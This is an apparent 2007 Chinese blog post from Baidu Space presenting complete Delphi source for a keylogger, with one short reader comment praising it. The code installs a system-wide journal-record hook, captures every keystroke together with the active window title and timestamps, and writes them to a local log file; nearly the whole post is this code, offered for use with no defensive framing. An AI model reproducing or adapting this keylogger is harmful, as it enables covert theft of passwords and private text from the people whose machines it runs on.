百度首页 | 百度空间
 
查看文章
 
delphi键盘记录原码1
2007年04月04日 星期三 13:36

//新建个文本讲以下代码保存为HKproc.pas 在用delphi填加

unit HKproc;

interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
var
   hNextHookProc:HHOOK;
   procSaveExit:Pointer;
   G_lastFocus:THandle;
   G_PrevChar:Char;
   function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
   function EnableHotKeyHooK:BOOL;export;
   function DisableHotKeyHook:BOOL;export;
   procedure HotKeyHookExit;far;

const
     _KeyPressMask=$80000000;

implementation

   function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
   const
      SfileName='c:\logfile.txt';   //记录保存本地地址
   var
     pEvt:TEventMsg;
     hFocus:THandle;
     szTitle:array[0..255] of Char;
     Stream:TextFile;
     vKey:Integer;
     ch:Char;
     str:array[0..10] of Char;
     pt:TDateTime;
     time1:String;
     iCtrl,iAlt,iShift:Integer;
     iNumLock:Integer;
     iCapital:Integer;
     bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;
     MouPos:TPoint;
     StrString:String;
     SPCH:Char;
   begin
     Result:=0;
     if (iCode<0) then
     begin
       Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));
       exit;
     end;
     if iCode=HC_ACTION then
     begin
       pEvt:=PEventMsg(lParam)^;
       //if not FileExists(SfileName) then
       //    FileCreate(SfileName);
       AssignFile(Stream,SfileName);
       if not FileExists(SfileName) then
         Rewrite(Stream)
       else
         Append(Stream);
       if pEvt.message=WM_KEYDOWN then
       begin
          vKey:=LOBYTE(pEvt.paramL);

          hFocus:=GetActiveWindow;
          if G_lastFocus<>hFocus then
          begin
            GetWindowText(hFocus,szTitle,256);
            G_lastFocus:=hFocus;
            pt:=Now;
            time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',pt);
            time1:=time1+'    '+szTitle;
            Writeln(Stream,Time1);
         end;
         iShift:=GetKeyState(VK_SHIFT);
         iCapital:=GetKeyState(VK_CAPITAL);
         iNumLock:=GetKeyState(VK_NUMLOCK);
         iCtrl:=GetKeyState(VK_CONTROL);
         iAlt:=GetKeyState(VK_MENU);
         if ((iShift and _KeyPressMask)=_KeyPressMask) then
         begin
            bShift:=True;
         end
         else
         begin
            bShift:=False;
         end;
         if ((iCtrl and _KeyPressMask)=_KeyPressMask) then
         begin
            bCtrl:=True;
         end
         else
         begin
            bCtrl:=False;
         end;
         if ((iAlt and _KeyPressMask)=_KeyPressMask) then
         begin
            bAlt:=True;
         end
         else
         begin
            bAlt:=False;
         end;
         bCapital:=(iCapital and 1)=1;
         bNumlocl:=(iNumLock and 1)=1;
         if (vKey>=48) and (vKey<=57) then
         begin
           if not bShift then
              Write(Stream,char(vKey));
         end;
         if (vKey>=65) and (vKey<=90) then
         begin
           if not bCapital then
           begin
             if   bShift then
               ch:=char(vKey)
             else
               ch:=char(vKey+32);
           end
           else
           begin
             if   bShift then
               ch:=char(vKey+32)
             else
               ch:=char(vKey);
           end;
         Write(Stream,ch);
         end;
         if (vKey>=96) and (vKey<=105) then
         begin
           if bNumlocl then
           begin
             write(Stream,char(vKey-96+48));
           end;
         end;
           if (vKey>=186) and (vKey<=222) then
           begin
             case vKey of
              186:
              begin
                if not bShift then
                  ch:=';'
                else
                  ch:=':'
              end;
              187:
              begin
                if not bShift then
                  ch:='='
                else
                  ch:='+'
              end;
              188:
              begin
                if not bShift then
                  ch:=','
                else
                  ch:='<'
              end;
              189:
              begin
                if not bShift then
                  ch:='-'
                else
                  ch:='_'
              end;
              190:
              begin
                if not bShift then
                  ch:='.'
                else
                  ch:='>'
              end;
              191:
              begin
                if not bShift then
                  ch:='/'
                else
                  ch:='?'
              end;
              192:
              begin
                if not bShift then
                  ch:='`'
                else
                  ch:='~'
              end;
              219:
              begin
                if not bShift then
                  ch:='['
                else
                  ch:='{'
              end;
              220:
              begin
                if not bShift then
                  ch:='\'
                else
                  ch:='|'
              end;
              221:
              begin
                if not bShift then
                  ch:=']'
                else
                  ch:='}';
              end;
              222:
              begin
                if not bShift then
                  ch:='`'
                else
                  ch:='"';
              end;
              else
                ch:='n'
            end;
            if ch<>'n' then
              write(Stream,ch);
           end;
          end;
         if   (vKey<=VK_F12) and (vKey>=VK_F1) then
         begin
           time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',now);
           StrString:=Time1+'    按功能键:F'+IntToStr(vKey-111)+'。';
           Writeln(Stream,StrString);
         end;
          if vKey=VK_ESCAPE then
          begin
             write(stream,'[ESC]');
          end;
          if vKey=VK_ADD then
          begin
            write(Stream,'+');
          end;
          if vKey=VK_APPS then
          begin
            Write(Stream,'[APPS]');
          end;
          if vKey=VK_LWIN then
          begin
            Write(Stream,'[LWIN]');
          end;
          if vKey=VK_RWIN then
          begin
            Write(Stream,'[RWIN]');
          end;
          if vKey=VK_SPACE then
            Write(Stream,'[SPACE]');
          if vKey=VK_DIVIDE then
            Write(Stream,'[/]');
          if vKey=VK_SCROLL then
            Write(Stream,'[SCROLLLock]');
          if vKey=VK_PAUSE then
            Write(Stream,'[PAUSE]');
          if vKey=VK_SUBTRACT then
            Write(Stream,'[-]');
          if vKey=VK_MULTIPLY then
            Write(Stream,'[*]');
          if vKey=VK_SNAPSHOT then
            Write(Stream,'[PRINT SCREEN Sys Rq]');
          if vKey=VK_CAPITAL then
            Write(Stream,'[CAP LOCK]');
          if vKey=VK_NUMLOCK then
            Write(Stream,'[NUM LOCK]');
          if vKey=VK_DECIMAL then
            Write(Stream,'[.]');
          if vKey=VK_CONTROL then
            Write(Stream,'[CTRL]');
          if vKey=VK_LMENU then
            Write(Stream,'[ALT]');
          if bShift then
          begin
            case vKey of
            48:spch:=')';
            49:spch:='!';
            50:spch:='@';
            51:spch:='#';
            52:spch:='$';
            53:spch:='%';
            54:spch:='^';
            55:spch:='&';
            56:spch:='*';
            57:spch:='(';
            else
              spch:='n';
            end;
            if spch<>'n' then
              Write(Stream,spch);
          end;
         if (vKey>=8) and (vKey<=46) then
         begin
           case vKey of
             8:str:='[BK]';
             9:str:='[TAB]';
             13:str:='[EN]';
             32:str:='[SP]';
             33:str:='[PU]';
             34:str:='[PD]';
             35:str:='[END]';
             36:str:='[HOME]';
             37:str:='[LF]';
             38:str:='[UF]';
             39:str:='[RF]';
             40:str:='[DF]';
             45:str:='[INS]';
             46:str:='[DEL]';
             ELSE
               ch:='n';
           end;
           if ch<>'n' then
           begin
               Write(Stream,Str);
               if vKey=VK_RETURN then
               begin
                  Writeln(Stream,'');
                  writeln(Stream,'输 入 回 车 可 能 是 确 认 或 是 换 行---');
                  Writeln(Stream,'')
               end;
           end;
       end;
       if (pEvt.message=WM_LBUTTONDOWN) or (pEvt.message=WM_RBUTTONDOWN) then
       begin
         hFocus:=GetActiveWindow;
         if (G_lastFocus<>hFocus) then
         begin
           G_lastFocus:=hFocus;
           GetWindowText(hFocus,szTitle,256);
           pt:=Now;
           time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',pt);
           time1:=time1+'    '+szTitle;
           Writeln(Stream,Time1);
         end
       end;
       CloseFile(Stream);
       Result:=1;
     end;
   end;
   function EnableHotKeyHooK:BOOL;export;
   begin
    Result:=False;
    G_lastFocus:=0;
    if hNextHookProc<>0 then exit;
       hNextHookProc:=SetWindowsHookEx(WH_JOURNALRECORD,KeyBHkHandle,HInstance,0);
    Result:=hNextHookProc<>0;
   //
   end;
   function DisableHotKeyHook:BOOL;export;
   begin
     if hNextHookProc<>0 then
     begin
       UnhookWindowsHookEx(hNextHookProc);
       hNextHookProc:=0;
       MessageBeep(0);
       MessageBeep(0);
     end;
     Result:=hNextHookProc=0;
   //
   end;
   procedure HotKeyHookExit;far;
   begin
     if hNextHookProc<>0 then
     DisableHotKeyHook;
     ExitProc:=procSaveExit;
   //
   end;

end.


类别:delphi编程 | 添加到搜藏 | 浏览() | 评论 (1)
 
最近读者:
 
网友评论:
1
2007年04月19日 星期四 11:56
非常不错!
Hook,指针和焦点是三大关键!
:)
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu